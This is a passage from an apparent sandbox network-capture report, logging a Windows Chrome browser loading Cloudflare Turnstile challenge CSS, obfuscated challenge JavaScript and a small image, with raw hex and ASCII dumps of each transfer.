65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 Data Ascii: kground-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans-ser
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 Data Ascii: px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon .p1
2024-04-19 15:01:42 UTC	115	IN	Data Raw: 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 0d 0a Data Ascii: lenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-check
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 65 35 63 0d 0a 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 62 61 64 34 31 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 Data Ascii: e5cbox-label .mark { border: 2px solid #dadada; background-color: #222;}.theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dark .ctp-checkbox-label input:active ~ .mark { border: 2px solid #fbad41;}.theme-dark .ctp-checkbox-label inpu
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 Data Ascii: go-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited, .theme-dark #fr-helper-link:link,.theme-dark #fr-helper-loop-link:visited,.theme-dark #fr-helper-loop-link:li
2024-04-19 15:01:42 UTC	945	IN	Data Raw: 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 76 69 73 69 74 65 64 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 Data Ascii: r: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-overlay a:link,#challenge-error-text a:visited,#challenge-error-text a:link { color: #1d1f20;}#challenge-ove
2024-04-19 15:01:42 UTC	719	IN	Data Raw: 32 63 38 0d 0a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 31 70 78 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 33 37 70 78 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 32 30 70 78 3b 0a 20 20 6c 65 66 74 3a 20 31 38 70 78 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 Data Ascii: 2c8margin-left: 11px; cursor: pointer; text-align: left;}.ctp-checkbox-label { cursor: pointer; padding-left: 37px;}.ctp-checkbox-label input { position: absolute; top: 20px; left: 18px; opacity: 0; z-index: 9999; cursor: pointe
2024-04-19 15:01:42 UTC	1026	IN	Data Raw: 33 66 62 0d 0a 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 20 7e 20 2e 6d 61 72 6b 3a 3a 61 66 74 65 72 20 7b 0a 20 20 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6c 65 66 74 3a 20 38 70 78 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 62 6f 72 64 65 72 3a 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 30 20 34 70 78 20 34 70 78 20 30 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a Data Ascii: 3fbpx; background-color: white;}.ctp-checkbox-label input:checked ~ .mark::after { top: 3px; left: 8px; transform: rotate(45deg) scale(1); border: solid #c44d0e; border-width: 0 4px 4px 0; border-radius: 0; width: 6px; height: 12px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.18	49700	104.17.3.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:43 UTC	711	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=876dc57e0ff87bcf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:43 UTC	358	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:43 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 876dc5815ce4451f-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:43 UTC	275	IN	Data Raw: 31 30 63 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 4a 2c 66 51 2c 66 58 2c 66 5a 2c 67 30 2c 67 31 2c 67 32 2c 67 33 2c 67 34 2c 67 35 2c 67 36 2c 67 37 2c 67 38 2c 67 39 2c 67 61 2c 67 62 2c 67 63 2c 67 64 2c 67 65 2c 67 66 2c 67 67 2c 67 68 2c 67 69 2c 67 6a 2c 67 6b 2c 67 6c 2c 67 6d 2c 67 6e 2c 67 6f 2c 67 70 2c 67 71 2c 67 72 2c 67 73 2c 67 74 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 56 2c 68 37 2c 68 6b 2c 68 70 2c 68 71 2c 68 72 2c 68 44 2c 68 Data Ascii: 10cwindow._cf_chl_opt.uaO=false;~function(ix,fE,fF,fJ,fQ,fX,fZ,g0,g1,g2,g3,g4,g5,g6,g7,g8,g9,ga,gb,gc,gd,ge,gf,gg,gh,gi,gj,gk,gl,gm,gn,go,gp,gq,gr,gs,gt,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gV,h7,hk,hp,hq,hr,hD,h
2024-04-19 15:01:43 UTC	1369	IN	Data Raw: 32 63 64 35 0d 0a 30 2c 69 33 2c 69 34 2c 69 31 2c 69 32 29 7b 66 6f 72 28 69 78 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 69 77 2c 65 2c 66 29 7b 66 6f 72 28 69 77 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 69 77 28 39 30 35 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 69 77 28 32 32 36 38 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 31 35 36 32 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 69 77 28 31 33 35 36 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 31 39 39 39 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 69 77 28 31 31 34 35 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 69 77 28 32 37 38 33 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 31 35 31 39 29 29 2f Data Ascii: 2cd50,i3,i4,i1,i2){for(ix=b,function(c,d,iw,e,f){for(iw=b,e=c();!![];)try{if(f=-parseInt(iw(905))/1+parseInt(iw(2268))/2+-parseInt(iw(1562))/3(-parseInt(iw(1356))/4)+-parseInt(iw(1999))/5+parseInt(iw(1145))/6(parseInt(iw(2783))/7)+-parseInt(iw(1519))/
2024-04-19 15:01:43 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 67 2b 68 7d 7d 2c 63 5b 6a 6f 28 39 31 32 29 5d 28 63 5b 6a 6f 28 33 30 36 29 5d 2c 63 5b 6a 6f 28 31 32 32 36 29 5d 29 29 74 72 79 7b 72 65 74 75 72 6e 21 21 65 5b 6a 6f 28 35 38 34 29 5d 7d 63 61 74 63 68 28 68 29 7b 72 65 74 75 72 6e 21 31 7d 65 6c 73 65 20 66 45 5b 6a 6f 28 32 36 33 33 29 5d 26 26 28 63 5b 6a 6f 28 32 38 37 31 29 5d 21 3d 3d 63 5b 6a 6f 28 37 34 36 29 5d 3f 28 66 45 5b 6a 6f 28 31 39 37 36 29 5d 5b 6a 6f 28 34 34 30 29 5d 28 29 2c 66 45 5b 6a 6f 28 31 39 37 36 29 5d 5b 6a 6f 28 32 30 34 32 29 5d 28 29 2c 66 45 5b 6a 6f 28 32 32 30 32 29 5d 3d 21 21 5b 5d 2c 66 45 5b 63 5b 6a 6f 28 31 38 33 35 29 5d 5d 5b 6a 6f 28 32 33 37 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 6a 6f 28 38 32 30 29 2c 27 77 69 64 67 65 74 49 64 27 Data Ascii: return g+h}},c[jo(912)](c[jo(306)],c[jo(1226)]))try{return!!e[jo(584)]}catch(h){return!1}else fE[jo(2633)]&&(c[jo(2871)]!==c[jo(746)]?(fE[jo(1976)][jo(440)](),fE[jo(1976)][jo(2042)](),fE[jo(2202)]=!![],fE[c[jo(1835)]][jo(237)]({'source':jo(820),'widgetId'
2024-04-19 15:01:43 UTC	1369	IN	Data Raw: 70 28 32 36 39 31 29 5d 29 2c 6e 5b 6a 70 28 32 39 36 29 5d 28 27 76 5f 27 2b 66 45 5b 6a 70 28 32 39 32 30 29 5d 5b 6a 70 28 32 38 30 35 29 5d 2b 27 3d 27 2b 42 29 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 6a 5b 6a 70 28 32 33 33 39 29 5d 7d 63 61 74 63 68 28 44 29 7b 7d 7d 2c 66 45 5b 69 78 28 31 32 35 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 6a 71 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 6a 71 3d 69 78 2c 69 3d 7b 7d 2c 69 5b 6a 71 28 31 33 38 33 29 5d 3d 6a 71 28 35 36 34 29 2c 69 5b 6a 71 28 31 32 36 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 2c 69 5b 6a 71 28 31 33 30 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 69 5b 6a 71 28 31 34 37 33 Data Ascii: p(2691)]),n[jp(296)]('v_'+fE[jp(2920)][jp(2805)]+'='+B)}else return j[jp(2339)]}catch(D){}},fE[ix(1253)]=function(d,e,f,g,h,jq,i,j,k,l,m){(jq=ix,i={},i[jq(1383)]=jq(564),i[jq(1267)]=function(n,o){return n>o},i[jq(1304)]=function(n,o){return n+o},i[jq(1473
2024-04-19 15:01:43 UTC	1369	IN	Data Raw: 5b 69 78 28 31 34 31 35 29 5d 3d 69 78 28 32 39 32 32 29 2c 66 5a 5b 69 78 28 31 32 33 39 29 5d 3d 69 78 28 31 39 31 37 29 2c 66 5a 5b 69 78 28 32 38 34 36 29 5d 3d 69 78 28 32 33 38 31 29 2c 66 5a 5b 69 78 28 32 31 30 30 29 5d 3d 69 78 28 32 34 32 37 29 2c 66 5a 5b 69 78 28 37 33 30 29 5d 3d 69 78 28 34 38 37 29 2c 66 5a 5b 69 78 28 32 35 31 33 29 5d 3d 69 78 28 31 37 32 32 29 2c 66 5a 5b 69 78 28 31 31 32 38 29 5d 3d 69 78 28 32 38 33 29 2c 66 5a 5b 69 78 28 31 36 39 33 29 5d 3d 69 78 28 31 38 38 38 29 2c 66 5a 5b 69 78 28 31 38 31 30 29 5d 3d 69 78 28 31 38 36 39 29 2c 66 5a 5b 69 78 28 31 33 32 34 29 5d 3d 69 78 28 32 36 35 36 29 2c 66 5a 5b 69 78 28 31 36 38 36 29 5d 3d 69 78 28 31 35 36 39 29 2c 67 30 3d 7b 7d 2c 67 30 5b 69 78 28 31 36 39 36 29 5d Data Ascii: [ix(1415)]=ix(2922),fZ[ix(1239)]=ix(1917),fZ[ix(2846)]=ix(2381),fZ[ix(2100)]=ix(2427),fZ[ix(730)]=ix(487),fZ[ix(2513)]=ix(1722),fZ[ix(1128)]=ix(283),fZ[ix(1693)]=ix(1888),fZ[ix(1810)]=ix(1869),fZ[ix(1324)]=ix(2656),fZ[ix(1686)]=ix(1569),g0={},g0[ix(1696)]
2024-04-19 15:01:43 UTC	1369	IN	Data Raw: 33 34 35 29 5d 3d 69 78 28 34 39 30 29 2c 67 31 5b 69 78 28 32 39 30 31 29 5d 3d 69 78 28 38 30 32 29 2c 67 31 5b 69 78 28 39 34 32 29 5d 3d 69 78 28 31 36 33 37 29 2c 67 31 5b 69 78 28 31 35 30 37 29 5d 3d 69 78 28 33 36 30 29 2c 67 31 5b 69 78 28 32 34 31 38 29 5d 3d 69 78 28 32 34 34 39 29 2c 67 31 5b 69 78 28 31 38 32 38 29 5d 3d 69 78 28 37 30 31 29 2c 67 31 5b 69 78 28 31 32 31 32 29 5d 3d 69 78 28 31 37 34 36 29 2c 67 31 5b 69 78 28 38 37 30 29 5d 3d 69 78 28 32 36 36 29 2c 67 31 5b 69 78 28 32 36 33 35 29 5d 3d 69 78 28 33 32 34 29 2c 67 31 5b 69 78 28 32 30 35 38 29 5d 3d 69 78 28 32 38 37 32 29 2c 67 31 5b 69 78 28 32 32 33 29 5d 3d 69 78 28 32 30 30 34 29 2c 67 31 5b 69 78 28 34 35 31 29 5d 3d 69 78 28 31 32 31 37 29 2c 67 31 5b 69 78 28 32 31 Data Ascii: 345)]=ix(490),g1[ix(2901)]=ix(802),g1[ix(942)]=ix(1637),g1[ix(1507)]=ix(360),g1[ix(2418)]=ix(2449),g1[ix(1828)]=ix(701),g1[ix(1212)]=ix(1746),g1[ix(870)]=ix(266),g1[ix(2635)]=ix(324),g1[ix(2058)]=ix(2872),g1[ix(223)]=ix(2004),g1[ix(451)]=ix(1217),g1[ix(21
2024-04-19 15:01:43 UTC	1369	IN	Data Raw: 78 28 31 36 38 36 29 5d 3d 69 78 28 32 37 33 35 29 2c 67 33 3d 7b 7d 2c 67 33 5b 69 78 28 31 36 39 36 29 5d 3d 69 78 28 34 35 35 29 2c 67 33 5b 69 78 28 31 30 37 39 29 5d 3d 69 78 28 31 34 34 35 29 2c 67 33 5b 69 78 28 39 35 30 29 5d 3d 69 78 28 32 30 33 37 29 2c 67 33 5b 69 78 28 31 33 38 32 29 5d 3d 69 78 28 31 36 31 38 29 2c 67 33 5b 69 78 28 31 30 33 34 29 5d 3d 69 78 28 39 37 31 29 2c 67 33 5b 69 78 28 31 31 37 32 29 5d 3d 69 78 28 31 36 39 37 29 2c 67 33 5b 69 78 28 32 30 32 39 29 5d 3d 69 78 28 32 30 32 33 29 2c 67 33 5b 69 78 28 32 32 31 37 29 5d 3d 69 78 28 31 32 39 38 29 2c 67 33 5b 69 78 28 32 35 32 32 29 5d 3d 69 78 28 37 37 32 29 2c 67 33 5b 69 78 28 36 34 33 29 5d 3d 69 78 28 31 35 35 31 29 2c 67 33 5b 69 78 28 39 37 30 29 5d 3d 69 78 28 31 Data Ascii: x(1686)]=ix(2735),g3={},g3[ix(1696)]=ix(455),g3[ix(1079)]=ix(1445),g3[ix(950)]=ix(2037),g3[ix(1382)]=ix(1618),g3[ix(1034)]=ix(971),g3[ix(1172)]=ix(1697),g3[ix(2029)]=ix(2023),g3[ix(2217)]=ix(1298),g3[ix(2522)]=ix(772),g3[ix(643)]=ix(1551),g3[ix(970)]=ix(1
2024-04-19 15:01:43 UTC	1369	IN	Data Raw: 33 29 5d 3d 69 78 28 32 31 31 36 29 2c 67 34 5b 69 78 28 34 35 31 29 5d 3d 69 78 28 32 38 39 36 29 2c 67 34 5b 69 78 28 32 31 36 38 29 5d 3d 69 78 28 31 35 36 36 29 2c 67 34 5b 69 78 28 35 38 30 29 5d 3d 69 78 28 31 34 32 37 29 2c 67 34 5b 69 78 28 31 33 37 32 29 5d 3d 69 78 28 31 33 39 39 29 2c 67 34 5b 69 78 28 31 34 31 35 29 5d 3d 69 78 28 36 39 35 29 2c 67 34 5b 69 78 28 31 32 33 39 29 5d 3d 69 78 28 33 32 36 29 2c 67 34 5b 69 78 28 32 38 34 36 29 5d 3d 69 78 28 36 39 33 29 2c 67 34 5b 69 78 28 32 31 30 30 29 5d 3d 69 78 28 31 35 32 32 29 2c 67 34 5b 69 78 28 37 33 30 29 5d 3d 69 78 28 37 38 36 29 2c 67 34 5b 69 78 28 32 35 31 33 29 5d 3d 69 78 28 31 38 39 31 29 2c 67 34 5b 69 78 28 31 31 32 38 29 5d 3d 69 78 28 35 37 37 29 2c 67 34 5b 69 78 28 31 36 Data Ascii: 3)]=ix(2116),g4[ix(451)]=ix(2896),g4[ix(2168)]=ix(1566),g4[ix(580)]=ix(1427),g4[ix(1372)]=ix(1399),g4[ix(1415)]=ix(695),g4[ix(1239)]=ix(326),g4[ix(2846)]=ix(693),g4[ix(2100)]=ix(1522),g4[ix(730)]=ix(786),g4[ix(2513)]=ix(1891),g4[ix(1128)]=ix(577),g4[ix(16
2024-04-19 15:01:43 UTC	1369	IN	Data Raw: 37 31 36 29 2c 67 36 5b 69 78 28 32 35 32 32 29 5d 3d 69 78 28 31 33 31 34 29 2c 67 36 5b 69 78 28 36 34 33 29 5d 3d 69 78 28 38 33 33 29 2c 67 36 5b 69 78 28 39 37 30 29 5d 3d 69 78 28 31 31 31 39 29 2c 67 36 5b 69 78 28 32 34 38 38 29 5d 3d 69 78 28 32 31 30 32 29 2c 67 36 5b 69 78 28 31 34 36 32 29 5d 3d 69 78 28 31 33 38 36 29 2c 67 36 5b 69 78 28 33 34 35 29 5d 3d 69 78 28 38 34 36 29 2c 67 36 5b 69 78 28 32 39 30 31 29 5d 3d 69 78 28 32 38 32 29 2c 67 36 5b 69 78 28 39 34 32 29 5d 3d 69 78 28 31 33 30 35 29 2c 67 36 5b 69 78 28 31 35 30 37 29 5d 3d 69 78 28 32 35 36 35 29 2c 67 36 5b 69 78 28 32 34 31 38 29 5d 3d 69 78 28 37 32 35 29 2c 67 36 5b 69 78 28 31 38 32 38 29 5d 3d 69 78 28 31 34 35 34 29 2c 67 36 5b 69 78 28 31 32 31 32 29 5d 3d 69 78 28 Data Ascii: 716),g6[ix(2522)]=ix(1314),g6[ix(643)]=ix(833),g6[ix(970)]=ix(1119),g6[ix(2488)]=ix(2102),g6[ix(1462)]=ix(1386),g6[ix(345)]=ix(846),g6[ix(2901)]=ix(282),g6[ix(942)]=ix(1305),g6[ix(1507)]=ix(2565),g6[ix(2418)]=ix(725),g6[ix(1828)]=ix(1454),g6[ix(1212)]=ix(
2024-04-19 15:01:43 UTC	533	IN	Data Raw: 78 28 37 33 30 29 5d 3d 69 78 28 31 38 31 35 29 2c 67 37 5b 69 78 28 32 35 31 33 29 5d 3d 69 78 28 32 38 31 33 29 2c 67 37 5b 69 78 28 31 31 32 38 29 5d 3d 69 78 28 31 35 32 30 29 2c 67 37 5b 69 78 28 31 36 39 33 29 5d 3d 69 78 28 31 39 30 32 29 2c 67 37 5b 69 78 28 31 38 31 30 29 5d 3d 69 78 28 31 35 34 31 29 2c 67 37 5b 69 78 28 31 33 32 34 29 5d 3d 69 78 28 31 39 32 30 29 2c 67 37 5b 69 78 28 31 36 38 36 29 5d 3d 69 78 28 32 33 34 37 29 2c 67 38 3d 7b 7d 2c 67 38 5b 69 78 28 31 36 39 36 29 5d 3d 69 78 28 32 36 39 38 29 2c 67 38 5b 69 78 28 31 30 37 39 29 5d 3d 69 78 28 31 39 30 37 29 2c 67 38 5b 69 78 28 39 35 30 29 5d 3d 69 78 28 35 35 33 29 2c 67 38 5b 69 78 28 31 33 38 32 29 5d 3d 69 78 28 32 38 39 33 29 2c 67 38 5b 69 78 28 31 30 33 34 29 5d 3d 69 Data Ascii: x(730)]=ix(1815),g7[ix(2513)]=ix(2813),g7[ix(1128)]=ix(1520),g7[ix(1693)]=ix(1902),g7[ix(1810)]=ix(1541),g7[ix(1324)]=ix(1920),g7[ix(1686)]=ix(2347),g8={},g8[ix(1696)]=ix(2698),g8[ix(1079)]=ix(1907),g8[ix(950)]=ix(553),g8[ix(1382)]=ix(2893),g8[ix(1034)]=i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.18	49701	104.17.3.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:43 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:43 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:43 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 876dc581cc1b12d5-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:43 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.18	49702	104.17.2.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
